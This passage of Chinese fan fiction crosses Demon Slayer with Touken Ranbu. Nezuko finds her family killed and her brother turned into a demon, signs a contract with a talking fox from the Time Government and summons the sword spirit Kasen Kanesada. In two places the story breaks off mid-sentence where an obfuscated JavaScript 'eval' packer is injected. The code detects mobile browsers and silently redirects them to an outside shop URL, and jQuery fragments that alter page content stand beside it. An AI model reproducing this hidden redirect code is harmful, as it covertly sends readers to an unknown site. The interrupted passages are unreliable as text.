《祢豆子我打无惨?》 1. 第一章 家人 狂风呼啸,卷着愈发厚重的雪盖满山坳。灶门祢豆子在一处山洞内生起火取暖。 “看来今天回不去了。”祢豆子冲着火堆旁的一团橘白色的生物叹气,“小狐狸,你现在感觉怎么样?” “嘤—”小狐狸抬了抬尾巴,表示自己状态还不错。 小狐狸白色的尾巴尖上还带有一丝血迹,正是因为这只受伤的小狐狸,祢豆子才这么晚还没到家。 清早哥哥灶门炭治郎下山卖炭后,祢豆子去山里继续找适合做炭的木柴,没想到遇到这只受伤的小狐狸。 可能是食物不够才冒险在这个时候出来觅食吧。 祢豆子试探着靠近小狐狸,看到它没有攻击的动作才小心翼翼地抱起它,把它放到附近的山洞后,去找这个时候还在生长的草药。 这只狐狸和祢豆子见过的别的狐狸长的不太一样,白色的头和围脖,黄色的身体,四肢和尾巴,耳尖、腹部和脚掌却是相反的颜色,面部和臀部布满红色的花纹,看起来有些神异。 “你是稻荷神派来的吗?”祢豆子摸了摸小狐狸的头。 小狐狸神情有些萎靡,微弱地“嘤”了一声就没再回应她。 等祢豆子给小狐狸敷好药后,外边的风雪已经覆盖成厚厚一层,一脚踩下去雪直没到膝盖,天色也愈发昏暗阴沉。 经验告诉祢豆子,这时候不适合回家了,她必须等白天风雪停止才能启程。 幸好灶门一家世代住在这座山上,对山上的野兽、山洞非常熟悉,目前避风的山洞也是哥哥炭治郎带她来过的,里面还有之前留下的草垫和干草,她和小狐狸在里面互相取暖,可以很好地在这里休息一晚上。 希望妈妈和弟弟妹妹们不要担心她。 祢豆子又添了一点柴,让火烧的旺起来,才抱起打盹的小狐狸去一边的干草堆躺下,听着山洞外呼啸的风雪声和火堆噼里啪啦的炸开声渐渐入睡。 朦胧间,祢豆子还在想,不知道哥哥回去了吗?这么大的雪,希望哥哥也在外边休息一晚再回去吧。 第二天清晨,祢豆子在叽叽喳喳的鸟雀声中醒来。 “真是有活力的动物啊。” 雪已经停了,祢豆子出山洞伸了个懒腰,扭头却发现小狐狸不见了。 “小狐狸?”祢豆子回到山洞,唤了几声都没有看到小狐狸,正猜想小狐狸是不是到山洞深处或跑出去了,就听见洞口传来小狐狸的叫声。 “嘤嘤!” 祢豆子走到洞口却没有看到熟悉的黄白身影,只看见一只刚死没多久的兔子。 祢豆子拎起兔子,视线边缘瞥见一抹黄白色的影子消失在右前方。 这只兔子大概是小狐狸的报恩礼吧。 祢豆子把兔子和昨天捡的木柴捆在一起背上回家。 昨天捡了不少木柴,能做不少炭,小狐狸送的兔子也可以吃好几顿。今年冬天雪格外大,他们家下山越来越不容易,山下的物价也比往年贵了许多,导致今年买过冬物资不够,全家都省吃俭用,弟弟妹妹们这些日子消瘦不少,妈妈每天做饭、照顾孩子们还要烧炭也很累,还有哥哥也是,不仅要烧炭,还要负责把炭背到山下卖钱,买生活物品和食物,再回到山上。 她除了给妈妈打下手和照顾还小的六太外几乎做不了什么。 祢豆子又看了一眼肥嘟嘟的兔子,兔肉能给大家补补身子,毛皮还能给妈妈做个围巾,如果有余料再和碎布拼接,还能给哥哥做一双保暖手套。 祢豆子一边哼歌一边赶路,很快就看到自家院子了。 “妈妈——花子——竹雄——阿茂——我回来了!六太——姐姐回来了哦!” …… 寂静。 天空开始下雪,除了风雪呼啸的声音外,这里没有任何回音和动静。 院门是敞开的,地上却没有任何脚印。一般大雪过后,妈妈会带着孩子们把门口的雪清扫干净。 门口的雪到脚踝那般厚,是昨天晚上忘记关门了吗?不,也可能是妈妈担心她和哥哥晚上回去进不去门,故意打开的。 祢豆子心里有一种不好的预感,她强按下内心的不安,进入院子。 院子空荡荡的,什么都没有,祢豆子心里的不安更重了。 第六感告诉她不要往前走了,祢豆子卸下背着的木柴,看到旁边的木筐,是哥哥卖炭背的那个! 筐里还有剩余的炭渣,说明昨天的炭卖的不错,炭渣上的积雪也没有多少,说明哥哥刚回来不久。 喜悦充斥着祢豆子的心,压下了刚刚的不安,她不顾内心疯狂响起的预警,快步往屋内走去,打开屋门:“哥哥!你回……” 恐慌席卷祢豆子的整个身体,她无法控制自己的动作,无力跪下。 屋内是多么可怕、多么恐怖的场景,抱着六太却浑身是血的母亲,依偎在母亲身边面色青白的花子,浑身伤口仰面躺着却仍睁着双眼看向门口的竹雄,和一旁趴着毫无动静的阿茂。 祢豆子用左手支撑起自己,抬起右手想要扶着门槛站起来,右手却止不住地颤抖,她想要冷静下来,去确认母亲和弟弟妹妹还有没有呼吸,却动弹不得。 祢豆子用左手狠狠按下右手想停止颤抖,却发现怎么都做不到,原来颤抖的不只是右手,她整个人都在发抖。 “呼……”微弱的、险些被风声遮盖的呼吸声突然传入祢豆子的耳中。 身体好像突然有了力气,祢豆子站了起来,跌跌撞撞地朝呼吸声处走去。 被杂物遮挡的右边炭治郎浑身是血地坐在那里,右手紧紧地握着斧头,耳饰被扔在地上,好像被人狠狠用脚碾过一般碎裂。他的眉心好像被捅穿一般凝固着血迹,胸口更是一片血迹,但幸好还在起伏。 祢豆子像是抓住了希望的稻草,她迅速检查炭治郎身上的伤,发现没有什么伤口只有血迹,于是费尽全力将他抬到屋中间的床铺上躺着,才鼓起勇气去探妈妈和弟妹们的呼吸。 虽然早就做好了心理准备,但在妈妈和弟妹身上没有探得一丝呼吸后,祢豆子还是跌坐在地,无助地哭了起来。 为什么会这样,家里究竟发生了什么。 屋内除了好像因为反抗而碎裂的器具外,其他设施完好无损。祢豆子打开门前屋门也是好好地关紧。 不是野兽出没。 难道是强盗? 可卖炭的家庭哪里有什么财产,房屋角落的食物更是没有被碰过的痕迹,哥哥怀里还有卖炭所得的钱币。 仇人? 不,灶门一家从来都是与人为善,是这一代出了名的好人。 随着思考,祢豆子的眼泪渐渐止住,她握紧手,指甲刺入手掌的疼痛让她更加清醒。当务之急是安置好哥哥,然后把家人安葬好。 至于昨晚家里究竟发生了什么,等哥哥醒来就知道是怎么回事了。 不知什么时候外边的风雪停了,祢豆子给躺在床上的炭治郎掖了掖被角,起身去门外。 她在父亲的墓地旁花了三天的时间挖了五个大坑,将妈妈、花子、竹雄、阿茂和六太埋了进去,在这期间炭治郎一直没有醒来,也吃不下东西,祢豆子除了勉强给他喂些水外什么都做不了。 埋葬完母亲弟妹们后,外边又开始下大雪了,一连好几天都没见阳光。祢豆子只能在家照顾炭治郎,还好之前为了过冬,家里存了不少食物和水,现在炭治郎只能喝水不能进食,剩余的存粮还能供祢豆子度过这个冬天。 外边的风雪声呼啸个不停,天空总是阴沉沉的,几乎让人分不清白天还是黑夜,祢豆子难以判断距离那个晚上究竟过了多久, 只能跟着自己的作息活动,醒了就继续做饭照顾哥哥,困了就在炭治郎旁边的被褥上睡觉。 今天依旧是阴沉沉的一天,外边的风雪罕见地停了下来,不知现在是清晨还是傍晚。 祢豆子醒来先查看旁边炭治郎的情况,发现依旧没有什么动静后,才起床烧 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涎水不断从炭治郎嘴边滴落,祢豆子拼命挣扎想阻止哥哥,却无法撼动本身就比她年长的哥哥。 只见炭治郎的牙齿离祢豆子的脖子越来越近,千钧一发之际,祢豆子瞅准炭治郎下身的空处,屈腿用膝盖狠狠撞上炭治郎的腹部。 炭治郎被这一击撞起,倒向一边,由于祢豆子用尽全力,这一击使得炭治郎暂时无法起身。 祢豆子趁机跑出屋门,将屋门关上上锁。 没一会儿木门便发出“呯呯”的撞击声。 祢豆子一边拼命压住屋门,一边焦急地思考该怎么办。 哥哥这个样子已经不像人类了,这是怎么回事?该怎么办?怎么样才能救他?是谁把哥哥变成这个样子的?把哥哥变成这样的人和杀害妈妈弟妹的是一个人吗? 那天晚上究竟发生了什么? 一个接一个问题充斥着祢豆子的脑海,她感觉自己几乎无法思考,满脑子都是怎么办。 该怎么办? 该怎么办! 妈妈,爸爸,我究竟该怎么办?怎么才能让哥哥停下来?怎么才能让哥哥恢复清醒? 屋内的撞击声越来越大,祢豆子感觉自己快坚持不住了。 “嘭——” 祢豆子和门板一起被撞飞,重重地落到地面。 胸口传来剧烈的疼痛,祢豆子几乎无法站起来,她眼睁睁看着炭治郎张开尖锐的牙齿向她走来。 难道真的没有办法了吗? 祢豆子眼前一片模糊,好像是伤到额头了,有血从伤口流出,伤口似乎还不小,因为鲜血几乎遮挡了祢豆子整只左眼。 好疼。 面对陌生的、充斥着恶意的哥哥,无论怎么想都没有办法让哥哥清醒,祢豆子再怎么坚强也只是一个11岁的孩子,她最终崩溃地哭了出来。 “呜呜,哥哥,我的头好疼啊……” 祢豆子似乎放弃了反抗,只一味地哭泣,却没发现炭治郎冲向她的动作随着她的哭声猛然停止。 祢豆子心里只有一个念头,那个从她出生起一直依赖的哥哥好像真的不见了,在她面前的只有一只想要吃掉她的怪物。 怪物惊疑不定地看着无助流泪的祢豆子,猩红色的瞳孔剧烈收缩,好像有什么东西一直在他脑袋里冲击,一开始几乎无法察觉,也不能阻止他觅食,随着祢豆子的声音,这冲击越来越重,直到她的哭声响起,冲击达到顶峰,剧烈的疼痛袭来…… 好像有什么东西要冲出来了,怪物不自觉抱住自己的头呻吟。 痛苦的嘶吼声吼声不断从怪物口中传出,随着一声痛苦的呻吟般的吼声,祢豆子看着瞳孔恢复原状的哥哥,豆大的泪珠不住地滑落。 一声微弱的,几乎听不出来是三个音节的嘶吼声从眼前人口中发出:“ne……zu……ko……” 2. 第二章 狐之助 哥哥清醒了,他认出了自己。 太阳从厚重的云层中拨出一角,仿佛为失而复得的祢豆子庆祝,可惜炭治郎并不领情。 阳光直射到炭治郎的面部,随着面部开始燃烧,炭治郎迅速往后退,最终躲到了房子里。 阳光似乎能伤害炭治郎,这让祢豆子想起了小时候妈妈讲的故事。 恶鬼游荡在人间,专吃晚上不回家的孩子,他们刀枪不入,但非常惧怕阳光,只能在晚上觅食。 炭治郎简直像变成了故事里害怕阳光的鬼一样。 “哥哥,你还好吗?” 祢豆子试探着喊躲在屋子里的炭治郎。 虽然刚刚哥哥似乎清醒了过来,但还是不能掉以轻心。 被屋檐遮蔽的门口探出一个身影,正是炭治郎,不过此时炭治郎的面部已经完好如初。 “祢……豆……子。” 艰难的喊了祢豆子的名字后,炭治郎怎么也发不出其他声音,但足够祢豆子知道哥哥还在清醒的状态。 祢豆子放心进屋,仔细检查炭治郎的脸。 一点伤都没有,祢豆子松了口气。 “太好了,哥哥。你没事真的太好了。”祢豆子抱住炭治郎,就像抱住失而复得的珍宝。 炭治郎无措地安抚妹妹,他对之前的事情只有一些迷迷糊糊的印象。只依稀记得刚刚他伤害了祢豆子,伤害了自己珍爱的家人。 “关于昏迷前的事,哥哥还有印象吗?那天究竟发生了什么?”祢豆子整理好情绪,才开口问之前的事情。 现在知道那天晚上究竟发生什么事的人,只剩下炭治郎和凶手了。 炭治郎茫然地摇了摇头,神情萎靡,他张了张嘴努力了半天才蹦出几个词。 “晚上,回家,不知道。”那天晚上回家后的事情他记不起来。 “我知道哦。” 尖细的有些非人的声音从窗边响起,紧接着一个黄白色的身影跳进屋内。 它在兄妹两人面前站定,画着红色花纹的狐狸脸出现在祢豆子眼前,正是那天被她救下的小狐狸。 “会说话的狐狸!”祢豆子和炭治郎都很惊讶。 “你知道那天发生了什么事?难道你真的是稻荷神派来拯救我们的吗?”祢豆子上前一步蹲下和小狐狸平视,炭治郎也有样学样蹲下 看着两双相似的大眼睛盯着它,小狐狸不自觉端起架子,清了清嗓子,自我介绍道:“我的名字是狐之助,来自时之政府。” 狐之助接下来透露出来的消息让两人震撼。 那天晚上残忍杀害灶门一家将炭治郎变成这个样子的家伙是鬼之始祖——鬼舞辻无惨。 随着狐之助的描述,旁边的炭治郎有些痛苦地捂住脑袋,显然他想起了什么。 狐之助讲了鬼的起源,并告诉他们鬼舞辻无惨通过给炭治郎注射过量鬼血的办法想要让炭治郎因承受不住鬼转化的痛苦死去,没想到鬼舞辻无惨走后炭治郎坚持下来了,现在炭治郎已经变成不会被鬼舞辻无惨控制的鬼了。 炭治郎虽然不会被鬼舞辻无惨控制,可是他依然是鬼,有鬼想吃人的习性和害怕阳光的弱点。 “就没有什么办法能让哥哥变回人类吗?”祢豆子抱紧旁边的炭治郎,一脸悲切。 炭治郎抿着嘴,感受嘴里的尖牙,眼睛不自觉望向手指锋利的指甲。 一想到这些都是鬼的特征,是鬼为了吃人进化出来的,就一阵恶心。 “在不久后确实有将鬼变成人的药剂,但想要得到要付出很大的代价。”狐之助想到它检测出来的后续历史,知道得到药剂过程的惨烈,不免有些同情,想要让他们再斟酌一下。 即使它知道他们一定会走向那条惨烈的路。 果然,祢豆子听到有希望后,玫红色的眼睛立刻亮起来,她和炭治郎一同向狐之助拜下。 “无论什么代价都请告诉我,我不能眼睁睁看着哥哥变成这个样子不管,也不可能放任残忍杀害家人的凶手逍遥法外!” “你真的想好了?”狐之助走到祢豆子身旁,抬头认真地看着她,“这件代价只有你才能承担。” “唔——唔!” 炭治郎一听这个代价需要妹妹来付,刚刚还能蹦出来几个词的嘴急的只能发出嘶吼声。 祢豆子握住炭治郎的手,冲他笑笑作安抚,然后坚定地看向狐之助。 “我想好了,请好告诉我吧。” 炭治郎安静下来,看着祢豆子坚定又陌生的面孔。 祢豆子虽然是弟妹们的姐姐,但对炭治郎来说祢豆子一直都是妹妹,是需要他保护的妹妹。 多么悲哀啊,本该是哥哥照顾妹妹,却因为鬼舞辻无惨,祢豆子要成为哥哥的保护者,要承担本是哥哥的责任。 那一刻,看着妹妹陌生的表情,炭治郎想他绝对绝对不会放过鬼舞辻无惨,他要让鬼舞辻无惨付出代价。 有什么好像在他心里沸腾。 是仇恨吗? 狐之助从随身铃铛里扒出一份合同书。 “请签下这份合约吧,只有签了这份合约我才能告诉你。” 只有成为审神者才能告诉她这个世界的部分历史,指引她完成历史。 祢豆子拿到合约毫不犹豫就想签下自己的名字却被狐之助阻止。 “等一下,还有几个问题需要问你,这些问题你都答‘是’即可签订合同,如果听到内容后不愿意,我们也可以随时中止。” 差点忘了录视频,还好祢豆子还没来得及签字,能补救一下。 只见狐之助走到祢豆子面前大约两三米的地方,脖子上的铃铛发出一束光将祢豆子笼罩。 光束并不刺眼,祢豆子没有感到不适。 狐之助在祢豆子面前严肃地问:“灶门祢豆子,你是否是自愿签订该劳动合同?” “是。” “你是否知道你的职责是保护历史,并愿意履行这一职责直到合同结束为止?” “是。”虽然不知道保护历史是什么,但她只要回答“是”就好了。 “你是否愿意对你所唤醒的刀剑负责,并保证无论是顺境或是逆境、富裕或贫穷、健康或疾病,你都终生不弃,一直爱护自己的刀剑?”狐之助小声地提示,“这个要回答‘我愿意’。” “我愿意。”这是什么意思?什么刀剑?什么唤醒?不管了先回答好了。 “你是否知道该劳动合同是终生制劳动合同,除非时之政府签署《准许退休证明》外不得解除该合同?” “是。” “你是否知晓若违背合同内容将会受到时之政府追捕,接受无期灵牢惩罚?” “是。”灵牢是什么? “审神者灶门祢豆子,你可以在合同上签名了。” 祢豆子签完名字后,从狐之助铃铛里发出的光才消失,刚刚在光外听不到也进不去的炭治郎焦急地检查祢豆子,害怕她受伤。 “那么接下来请取一个自己的代号吧。”狐之助看着疑惑的祢豆子解释道,“审神者通过唤醒刀剑付丧神去保护历史,为了防止神隐的事情发生,需要您取一个代号,以后在时之政府和本丸都是用代号称呼你,你的刀剑也只会知道你的代号,由你召唤出的付丧神在你的本源世界听到你的真名也会自动转化为代号,防止对你造成伤害。” 起名字啊……祢豆子有些苦恼。 一旁的炭治郎看着妹妹抱着头发苦恼的样子,想了想转身从柜子里拿出一个罐子,他把罐子中的东西倒出来放到妹妹的手里,用另一只干净的手摸摸她的头。 “金平糖!”祢豆子惊喜地看着手中彩色的糖果,“哥哥你真的太棒了!就用金平糖作我的代号吧!” 炭治郎骄傲地抱胸点头。 狐之助的铃铛里射出光,在空中形成表格一样的纸张,慎重地将“金平糖”输入进去,以后时之政府就有一个叫“金平糖”的审神者了。 “接下来请主人和我出去,接下来的内容只有审神者才能知道,炭治郎阁下请暂且在屋内等候。” 炭治郎对祢豆子点了点头,示意自己会好好呆着屋里,让她放心。 祢豆子跟随狐之助出去,炭治郎在靠近门口的屋檐下待着,紧紧盯着远处的身影,虽然狐之助闻起来是个好狐,但也不能掉以轻心,如果祢豆子发生什么意外,就算出去会被阳光烧死他也一定会救下祢豆子。 “主人,关于打败鬼舞辻无惨的办法其实很简单,加入鬼杀队。” “鬼杀队?” 狐之助简单讲了一下鬼杀队的历史和鬼杀队当主与鬼之始祖的纠葛。 因诞生了吃人的鬼而被诅咒的家族和千年来一直对付鬼的组织……不敢想象因为鬼舞辻无惨千年来有多少家庭支离破碎。 鬼杀队里大多都是和她一样家人被鬼杀害的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055148|194866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祢豆子愤怒地捏紧拳头,破坏家人的家伙!她绝不会让这些恶鬼逍遥法外! “我该怎样加入鬼杀队?”祢豆子又想起刚刚签订的合同,“关于保护历史,需要我做些什么呢?可以等我杀掉鬼舞辻无惨后再履行吗?” 狐之助歉意地低头,耳朵耷拉下来:“对不起,主人。其实您本来就是能加入鬼杀队的。” 祢豆子听狐之助缓缓讲述关于她本来应该经历的历史。 原来就算没有狐之助,祢豆子还是会因为别的原因躲进山洞,第二天回家后看到被杀害的家人和昏迷不醒的炭治郎,在炭治郎鬼化后,祢豆子会被鬼杀队的恋柱救下,在祢豆子的保证和炭治郎用自身意志清醒后,被感动的恋柱引荐她加入鬼杀队。 狐之助一边讲一边心虚地扫了扫尾巴,它深知自己让祢豆子签下合同的行为其实是趁火打劫,就算祢豆子不答应签合同,为了保护历史它也会指引祢豆子前往鬼杀队。 “可是刚刚并没有鬼杀队的恋柱来。” “是时间溯行军,他们妄图改变历史。”狐之助告诉祢豆子它来这个世界时发生的事。 原来狐之助本是去前往新本丸,作为另一名新任审神者的指引,经过这个世界的时候发现这里有时间溯行军的气息。狐之助立刻上报时之政府,但信息却被拦截了。在查看这个世界历史后狐之助发现时间溯行军的目的是杀害要回家的祢豆子,从根本上改变历史,于是急忙向附近世界节点发出紧急求助令。 紧急求助令是时之政府近期新推出的功能,不会被任何信号网拦截,唯一的缺点是只能向附近的节点发射,且非强制、时间短、无痕迹,它只会在本丸存在几秒,如果没有审神者及时接收就会立刻消失。 还好附近有个本丸接下了求助令过来帮忙,但不知道为什么只有审神者本人来,狐之助和那名审神者合力消灭了部分时间溯行军,在追逃兵时,那位审神者因为离开本丸的时间限制,被强制传回去了,现在应该还在冷却期不能随意走动。 狐之助说着说着泪眼汪汪,它抱住祢豆子的大腿:“幸好碰上了主人您,您给我敷药时灵力自动修复了我,不然我一只狐在这里就完蛋了。” 在非安全区滞留时间过长又没有审神者补能会让依靠灵力活动的狐之助逐渐变成普通的玩偶。 而且狐之助原本的工作是去指引另一名新任审神者,虽然因为发现时间溯行军的气息才来到这个世界,但本暂时困在这个世界,导致原本的新任审神者没有狐之助作引导,本质上还是擅离岗位。 虽然事出有因,有情可原,但只会减轻处罚,档案上还是会留痕的。 档案留痕就代表后续有新任审神者出现时系统不会优先分配它去作指引。 不过它自己主动给自己找审神者就完美解决了这个问题。 等它带着祢豆子大人回到时之政府时,系统总不能给祢豆子大人分一个新的狐之助吧,就是系统想这么干,祢豆子大人也不会同意的。 想到这里狐之助哭的更真实了。 “灵力是什么?”祢豆子没有听说过狐之助所说的灵力。 狐之助解释道:“灵力是您身体里蕴藏的能力,不是每个人都有的。也正是因为您有灵力,且灵力很强,才能和时之政府签订合同,成为审神者保护历史。” 祢豆子点了点头,似懂非懂。 狐之助也没有继续往下讲灵力的事情,这种能力等祢豆子唤出刀剑付丧神后自然就理解了,它继续讲时间溯行军。 “其实这一段时间我一直在附近,就是要确定您能够加入鬼杀队,但是这里一直没有恋柱的身影,我猜测可能和时间溯行军有关,或许是残军将恋柱引向别的方向了。” 一阵风吹过,狐之助好像在风中闻到了什么气味,它警觉地竖起耳朵,立刻从铃铛中掏出一些木头、炭、白色的石头等物品,又拿出两张木符和五张玉牌。 它看向不明所以的祢豆子。 “主人,我感受到了时间溯行军的气味,请在玉牌中选择你想锻造的刀剑男士,感受您的灵力,将灵力注入玉牌和锻造材中,召唤出刀剑男士,准备战斗吧!” 时间刻不容缓,祢豆子手忙脚乱地拿着玉牌,纠结几秒后选出一张玉牌,在狐之助的指引下感受灵力,召唤出刀剑男士。 伴随着时间溯行军进入祢豆子的视野,一阵樱花雨飘过,一道身影出现在祢豆子面前。 3. 第三章 风雅的刀 “我是歌仙兼定,喜爱风雅的文系名刀。请多指教。” 紫色头发的刀剑男士在祢豆子面前显现,他站定在祢豆子面前,优雅地俯首:“您就是我的主人吗?真是一个可爱的孩子。” 一旁的狐之助看着快要逼近的时间溯行军提醒道:“主人,歌仙大人,时间溯行军快要来了,请做好准备!” “时间溯行军吗?真是不风雅的家伙。”歌仙兼定缓缓抽出本体刀,挡在祢豆子面前。 刀身锵然作响,文系打刀摆出攻击的姿态,蓝色的眼睛紧紧盯着前方的时间溯行军,杀气溢出:“虽说是文系,但我也是之定的作品呢。” 杀气凌然的刀此刻似乎与风雅无甚关系。 正如歌仙兼定所言,他是室町末期二代兼定的作品,原主乃战国武将细川忠兴,真真正正的斩人刀。 祢豆子观察逐渐逼近的时间溯行军,有四个敌人,想必歌仙先生一人无法招架。 祢豆子想了想拿起院内的斧头预备过去帮忙:“歌仙先生,请注意安全。” “是,主人。我上了!”歌仙兼定向最前方的时间溯行军冲去。 “我正是之定所作的一振,歌仙兼定是也!” 初次显现的刀剑男士虽然毫无战斗经验,但身为刀剑的本能还在,他们天生就是剑术大师,因此对付时间溯行军的歌仙兼定丝毫不落下风,一刀击退一个时间溯行军后立刻拦住想要冲去后方祢豆子所在的时间溯行军。 祢豆子捏紧斧头,第一次面对这种场面紧张的汗在手心不断溢出,让她手里的斧头不断往下滑。祢豆子擦了擦手汗,在狐之助的指导下将部分灵力灌入斧头内,冲向时间溯行军。 “绝对不会原谅你们!哈啊——” 祢豆子努力在歌仙的保护下共计时间溯行军,但敌方人数是他们的两倍,纵然歌仙兼定能拦下所有攻击,却不可避免的身上挂彩。 “粗鲁的家伙……!”歌仙兼定看着身上的伤,有些生气。只见红色的血将紫色的袍子浸湿,破坏了衣服原本的美感,连衣襟上别着的牡丹花也有些破碎。 在歌仙兼定的保护下祢豆子毫发无伤,对面的四个时间溯行军两个中伤两个轻伤,双方战力暂时持平。 时间溯行军伤到歌仙兼定后没有继续追击,而是与他们保持一段距离,似乎在观察时机。 “虽说用斧头战斗实在不是风雅的行为,但主人的勇气可赞一声风雅。” 歌仙兼定突然地一句夸赞让祢豆子有些不好意思,她有些不好意思的摸摸头。 时间溯行军抓住祢豆子这一刻的松懈,一起冲了上来。 “啊,抱歉,让主人分心了。” 歌仙兼定立刻挡住他们,但时间溯行军目标坚定,前两个牵制歌仙兼定,后两个绕过歌仙兼定的攻击范围,刀刃直冲祢豆子去。 “住手!”一个身影从屋内冲出,将冲到祢豆子面前的时间溯行军撞飞。 是炭治郎,他刚刚在屋子里急得团团转,看到将要被伤害的妹妹立刻不顾可能被太阳烧死的风险,冲了出来。 “哥哥!” 祢豆子大惊失色,外边现在还是白天,她下意识想要为炭治郎遮挡阳光。 “没事的,主人。太阳被遮住了。”狐之助看着逐渐阴暗的天色,“快要下雪了。” 不然再怎么样它也会拼死阻拦炭治郎阁下的,如果炭治郎阁下出了事,那这条时间线就真的完蛋了。 祢豆子这才松了口气,歌仙兼定也迅速回到祢豆子身边保护她。 “那么接下来就是三对三了。” 歌仙兼定刚刚已经解决了一个时间溯行军,现在只剩下三个,两重伤一轻伤。 歌仙兼定用刀指向轻伤的那个,对祢豆子和炭治郎说:“这个交给我,剩下的麻烦主人和这位阁下帮忙暂时抵挡一会儿了。” 祢豆子和炭治郎点头,一起冲向那两个重伤的时间溯行军, 祢豆子握着斧头砍向时间溯行军,时间溯行军立刻灰飞烟灭。 炭治郎也努力抵挡时间溯行军,但可能是单纯的力量不能伤害到时间溯行军,溯行军并没有被消灭,眼见着时间溯行军想要将刀看向旁边的祢豆子,炭治郎下意识用头狠狠撞上时间溯行军,直接就把时间溯行军撞晕,祢豆子趁机补刀。 虽是补刀,但祢豆子的斧头刚碰到时间溯行军,这个时间溯行军就化为尘埃消失了,祢豆子不敢置信的看着斧头,第一次对自己的力量有了认识。 刚刚因为着急的缘故她在斧头上注入了大量的灵力,是一开始注入灵力的数倍,没想到对时间溯行军的伤害这么大。 另一边,随着一声“你的罪孽真是深重啊!”后,歌仙兼定将最后一名敌军消灭,身上的衣服也变得破破烂烂。 雪花逐渐飘落,祢豆子他们进入屋内休息。 这一场突如其来的战斗让祢豆子对自己的灵力掌握得更加深入,炭治郎因为一时着急反而能说更多词语了,此时正一个词一个词地跟祢豆子讲自己的感受。 只剩下破破烂烂的歌仙兼定。 “歌仙先生,请让我帮您手入吧。”祢豆子有些不好意思地看着歌仙兼定。 为了保护她歌仙先生才受伤,狐之助说自己能用灵力为歌仙先生手入,手入完毕歌仙先生就会变回无伤状态了。 歌仙兼定这才有时间仔细地看着自己的主人。 是个有着玫红色眼睛的可爱的孩子,可能是刚刚战斗的缘故,原本被盘的一丝不苟的头发散落了不少。 文系打刀向自己的主人露出温柔的笑容,建议道:“那么,在此期间请让我帮主人盘发吧。” 祢豆子有些惊讶,随后笑着点头。 “麻烦您了。” “能为主人盘发是我的荣幸。” 歌仙兼定坐到祢豆子背后小心地帮她将头发放下来重新编发,祢豆子也在狐之助的指导下拿过歌仙兼定的本体刀用灵力修复。 她仔细将灵力注入刀身,然后拿过狐之助提供的试纸擦拭刀身。 炭治郎坐在旁边看得昏昏欲睡,刚刚战斗耗费他不少力量,不想和鬼一般通过进食补充能力,只能通过休息缓慢恢复了。 歌仙兼定的动作利落又不失优雅,很快就帮祢豆子盘好了头发。 “好了。”歌仙兼定满意地看着自己给主人盘的头发,又变出一朵牡丹别在上面。 “让我看看,好漂亮!歌仙先生很会做这些啊。”祢豆子暂时停止动作,通过镜子看自己的新发型。 “因为我的前主和他的妻子感情很好,他有时会帮夫人做这些,我跟在他身边自然就会了。”歌仙兼定有些得意地起身坐回原来的位置。 “真是让人头疼啊……比想象的下手要重。”歌仙兼定被自己身上破破烂烂的衣服吸引目光,捏着破损的牡丹花,有些生气:“时间溯行军真的是一群根本不懂风雅的家伙。” “歌仙先生很在意风雅吗?”祢豆子一边打粉一边问。 昏昏欲睡的炭治郎被歌仙变化的衣服吸引,在一旁好奇地看着歌仙兼定的衣服在灵力的修补中逐渐变回原样,斗篷上的牡丹花也逐渐变成完好无损的样子,就像刚摘下一样。 “也是因为我的前主啊,我的前主精通和歌、能乐这些风雅之物,大概是受他影响,我也很喜欢这些。”歌仙兼定看着修补好的衣服非常满意,“主人喜欢和歌吗?如果有机会我……” 歌仙兼定显然是想找时间和自己的新主人探讨风雅之物,但刚说着说着却发现自己整个人开始变得透明,透明的身影像是被本体刀所吸引,被整个吸入进去。 与此同时,祢豆子也感觉到一阵眩晕,身体一时间有些摇摇欲坠。 “祢豆子!”炭治郎的困意瞬间褪去,赶忙扶住祢豆子的身体,狐之助也上前检查。 幸好祢豆子只是感觉头有些晕,除此之外并没有什么不适。 “大概是灵力耗尽了。”狐之助检查后得出结论。 “歌仙先生怎么样了,是因为我歌仙先生才消失了吗?”祢豆子想到消失的歌仙兼定非常愧疚,她握住歌仙兼定的本体刀焦急地询问狐之助,她害怕因为自己的粗心大意导致这个刚被自己召唤出来的付丧神消失。 “不必担心,主人。歌仙阁下只是因为灵力耗尽暂时回刀内了,请您将手放在歌仙阁下的刀身仔细感受。”狐之助示意祢豆子放松。 祢豆子深吸一口气,放松下来后将手放到刀背处,她沉下心,清除杂念,没一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055149|194866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿就感受到来自歌仙兼定的情绪。 有安抚,有焦急。 ……还有一丝气急败坏。 歌仙兼定在本体内并没有感到不适,但主人肯定着急坏了,感受到主人的灵力后立刻靠近,他知道主人可以通过灵力感受他,于是赶紧传达自己没有事情。 就是这种突然被塞回本体的感觉太不风雅了。 祢豆子感受到歌仙兼定才放心下来。 “是因为我对付时间溯行军消耗了大量灵力,才会因为灵力不足导致歌仙先生只能待在刀里吗?”祢豆子有些自责,如果她没有浪费灵力的话…… “理论上您修复好本体刀后,刀剑男士应该就没有问题了,回归本体这种情况还是第一次出现,这种情况有些类似于政府唤醒的刀剑疲劳过度后回到本体内休息。不过我检查过了,歌仙大人本身肯定没有问题,您不必太过担忧。” “那我什么时候能恢复灵力呢?歌仙先生什么时候能出来?” “灵力就像您的体力一样,等您休息好自然就能恢复了。”狐之助耐心解答,这些它在出厂时就排练过了。 